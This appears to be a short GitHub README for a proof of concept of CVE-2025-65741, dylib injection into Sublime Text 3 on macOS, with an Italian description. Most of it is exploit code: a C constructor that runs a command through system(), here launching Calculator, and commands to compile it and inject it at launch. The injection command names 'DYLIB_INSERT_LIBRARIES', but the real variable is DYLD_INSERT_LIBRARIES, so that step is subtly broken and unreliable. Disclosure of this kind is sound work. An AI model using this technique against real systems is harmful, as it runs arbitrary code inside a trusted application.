vinicius-batistella/cve-2025-65741
Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS
L'app Sublime Text non controlla correttamente un'iniezione di codice non firmata, che consente a un utente malintenzionato di compilare una libreria .dylib e forzare l'app a eseguirla nel contesto dell'applicazione. Nell'esempio seguente, l'app Sublime Text è stata forzata ad aprire il binario calc. Questa vulnerabilità è stata corretta nella Build 3209 e successive.
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] Dynalic Library Injection: %s\n", argv[0]);
system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text